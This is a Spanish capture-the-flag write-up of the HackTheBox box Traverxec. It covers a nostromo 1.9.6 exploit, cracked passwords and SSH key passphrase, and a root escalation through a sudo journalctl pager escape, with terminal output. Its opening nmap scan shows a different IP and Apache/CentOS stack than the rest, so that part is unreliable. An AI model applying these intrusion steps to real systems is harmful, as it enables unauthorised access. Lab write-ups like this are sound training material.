[HackTheBox – Traverxec] Spanish Writeup

Valoraciones:

Escaneo de puertos:

Nmap scan report for 10.10.10.146
Host is up (0.10s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https

Enumeración

Accedemos al servidor web.

Antes de enumerar directorios vemos que al visitar cualquier archivo que no existe nos da esta información:

Junto con el reporte de nmap, podemos observar que nos hemos topado con un motor llamado nostromo en su versión 1.9.6. Procedemos a buscar exploits a los que ésta versión sea vulnerable.

Explotación

Con la intención de abstraerme de Metasploit y practicar para el OSCP, busco exploits que no estén relacionados con el mencionado al principio y me encuentro con este. Después de analizar la vulnerabilidad decido editar el script para conseguir una pseudo-shell.

Script final.

De esta pseudo-shell migramos con una reverse shell con nc para trabajar mejor y enumeramos.

Tras enumerar vemos que el script de enumeración nos saca esto:

Si probamos a crackearla con john, en unos segundos nos la sacará.

root@jorge:~/Escritorio/HTB Boxes/Traverxec# john --show hash
?:Nowonly4me

Después de probarla en todos los sitios posibles sin éxito, seguimos enumerando y encuentro este archivo de configuración de nostromo.

Esto nos sirve para acabar intuyendo que hay una carpeta oculta en /home/david que es /public_www, donde se encuentra el backup de las keys ssh de david. Una vez extraídas y crackeadas con john usando previamente ssh2john conseguimos conectarnos y atrapar la primera flag.

root@jorge:~/Escritorio/HTB Boxes/Traverxec# john --show id_rsa.crackear
id_rsa:hunter
root@jorge:~/Escritorio/HTB Boxes/Traverxec# ssh -i home/david/.ssh/id_rsa david@10.10.10.165
Enter passphrase for key 'home/david/.ssh/id_rsa':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Sun Nov 17 13:39:11 2019 from 10.10.15.127
david@traverxec:~$ wc -c user.txt
33 user.txt

Post-Explotación

Dentro de la carpeta /bin del usuario vemos un script con este contenido:

!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: /usr/bin/uptime"
echo " "
echo "Open nhttpd sockets: /usr/bin/ss -H sport = 80 | /usr/bin/wc -l"
echo "Files in the docroot: /usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

Podemos intuir que el usuario está permitido a hacer el último comando como root, por lo que si lo ejecutamos con la ventana de la consola pequeña, hacemos que salte less y escribimos !/bin/bash para que nos de una shell como root.

Conseguimos forzar a que saque el editor.

david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Mon 2019-11-18 13:13:00 EST, end at Mon 2019-11-18 13:31:29 EST. --
Nov 18 13:30:32 traverxec sudo[5763]: www-data : user NOT in sudoers ; TTY=unknown ; PWD=/var/nostromo ; USER=root ; COMMAND=david
Nov 18 13:30:36 traverxec sudo[5742]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/14 ruser=www-data rhost= use
Nov 18 13:30:50 traverxec sudo[5742]: pam_unix(sudo:auth): conversation failed
Nov 18 13:30:50 traverxec sudo[5742]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Nov 18 13:30:50 traverxec sudo[5742]: www-data : command not allowed ; TTY=pts/14 ; PWD=/tmp ; USER=root ; COMMAND=list
!/bin/bash
root@traverxec:/home/david/bin# id
uid=0(root) gid=0(root) groups=0(root)
root@traverxec:/home/david/bin# wc -c /root/root.txt
33 /root/root.txt
root@traverxec:/home/david/bin#

Si has llegado hasta aquí, gracias por leerme! Nos vemos en el siguiente Writeup.